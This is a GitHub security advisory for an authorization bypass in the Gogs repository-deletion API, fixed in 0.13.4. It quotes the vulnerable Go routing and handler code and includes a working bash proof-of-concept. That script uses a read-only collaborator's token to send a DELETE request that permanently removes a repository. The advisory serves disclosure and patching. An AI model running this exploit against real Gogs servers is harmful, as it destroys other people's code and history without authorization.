Skip to content

Gogs has authorization bypass in repository deletion API

Moderate severity GitHub Reviewed Published Feb 6, 2026 in gogs/gogs

Package

gomod gogs.io/gogs (Go)

Affected versions

<= 0.13.3

Patched versions

0.13.4

Description

Summary

The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.

This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().

Details

  1. vulnerability location:
  • Vulnerable Endpoint:DELETE /api/v1/repos/:owner/:repo
  • Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
  • Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)
  1. Root Cause Analysis

Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)

// 当前的路由配置(存在漏洞)
m.Delete("", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件

Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)

// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
    // 直接执行删除操作,未验证用户是否为所有者
    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
        c.Error(500, "DeleteRepository", err)
        return
    }
    c.Status(204)
}
  1. Missing Permission Check
    Comparison with route configurations for other sensitive operations:
// Webhooks 管理(正确实现)
m.Group("/hooks", func() {
    m.Combo("").
        Get(repo.ListHooks).
        Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 部署密钥管理(正确实现)
m.Group("/keys", func() {
    m.Combo("").
        Get(repo.ListDeployKeys).
        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 删除仓库(漏洞)
m.Delete("", repo.Delete)  // ❌ 没有使用权限中间件
  1. Data Flow Path
  • API Request Path: DELETE /api/v1/repos/:owner/:repo
  • Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
  • Execution: The system directly executes the repo.Delete() function.
  • Permission Check: The reqRepoOwner() middleware check is missing.
  • Internal Validation: There is no permission validation inside the Delete() function either.
  • Result: Any user with read permission can delete the repository.

PoC

Prerequisites

  • A running Gogs instance.
  • The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
  • The attacker possesses a valid API access token.
  • The target repository exists and is accessible.

📜 Test Steps (Bash)

  1. Verify Gogs service is running
    curl -I http://localhost:10880

  2. Create test accounts and repository

  • Owner account: owner / owner123456
  • Read-only account: victim / victim123456
  • Test repository: owner/delete-test

image

  1. Add 'victim' as a read-only collaborator
    Perform this via the Web UI or API

image

image

  1. Obtain API token for 'victim'
    curl -X POST http://localhost:10880/api/v1/users/victim/tokens
    -u victim:victim123456
    -H "Content-Type: application/json"
    -d '{"name":"test-token"}'

  2. Resource deleted

image

Web UI:Target repository deletion successful

image

📜 PoC Script

#!/bin/bash
# Gogs 仓库删除授权绕过漏洞 PoC

# ============ 配置信息 ============
GOGS_URL="http://localhost:10880"
TARGET_REPO="owner/delete-test"
VICTIM_TOKEN="your_victim_read_only_token_here"

# ============ 执行攻击 ============
echo "========================================"
echo "Gogs 仓库删除授权绕过漏洞 PoC"
echo "========================================"
echo ""
echo "目标仓库: $TARGET_REPO"
echo "攻击者权限: Read(只读)"
echo "预期行为: 403 Forbidden(应该被拒绝)"
echo ""

# 步骤1:验证仓库存在
echo "[步骤1] 验证目标仓库存在..."
REPO_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token $VICTIM_TOKEN" \
  "$GOGS_URL/api/v1/repos/$TARGET_REPO")

if [ "$REPO_CHECK" == "200" ]; then
    echo "✓ 仓库存在且可访问"
else
    echo "✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)"
    exit 1
fi

# 步骤2:尝试删除仓库(漏洞利用)
echo ""
echo "[步骤2] 使用只读权限尝试删除仓库..."
DELETE_RESPONSE=$(curl -s -w "\nHTTP_CODE:%{http_code}" \
  -X DELETE \
  -H "Authorization: token $VICTIM_TOKEN" \
  "$GOGS_URL/api/v1/repos/$TARGET_REPO")

DELETE_CODE=$(echo "$DELETE_RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2)

echo "实际状态码: $DELETE_CODE"
echo ""

# 步骤3:验证结果
if [ "$DELETE_CODE" == "204" ] || [ "$DELETE_CODE" == "200" ]; then
    echo "========================================"
    echo "🔴 漏洞确认:删除成功!"
    echo "========================================"
    echo ""
    echo "只读权限用户成功删除了仓库!"
    echo ""
    
    # 验证仓库是否真的被删除
    sleep 2
    echo "验证仓库是否真的被删除..."
    VERIFY_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
      -H "Authorization: token $VICTIM_TOKEN" \
      "$GOGS_URL/api/v1/repos/$TARGET_REPO")
    
    if [ "$VERIFY_CHECK" == "404" ]; then
        echo "✗ 仓库已被完全删除(404 Not Found)"
        echo ""
        echo "危害确认:"
        echo "  - 仓库及所有数据永久丢失"
        echo "  - 代码历史记录不可恢复"
        echo "  - 这是一个 HIGH 级别的严重漏洞"
    else
        echo "? 仓库状态未知 (状态码: $VERIFY_CHECK)"
    fi
    
elif [ "$DELETE_CODE" == "403" ]; then
    echo "========================================"
    echo "✅ 无漏洞:操作被正确拒绝"
    echo "========================================"
    echo ""
    echo "只读权限用户无法删除仓库,权限检查正常"
    
else
    echo "========================================"
    echo "⚠️  未预期的响应"
    echo "========================================"
    echo ""
    echo "状态码: $DELETE_CODE"
    echo "这可能表示 API 端点不存在或其他错误"
fi

echo ""
echo "========================================"
echo "PoC 执行完成"
echo "========================================"

Impact

Vulnerability Type: Broken Access Control (CWE-284)

Description: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.

Consequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.

Severity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.

The Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).

References

@unknwon unknwon published to gogs/gogs Feb 6, 2026
Published to the GitHub Advisory Database Feb 6, 2026
Reviewed Feb 6, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2025-65852

GHSA ID

GHSA-rjv5-9px2-fqw6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.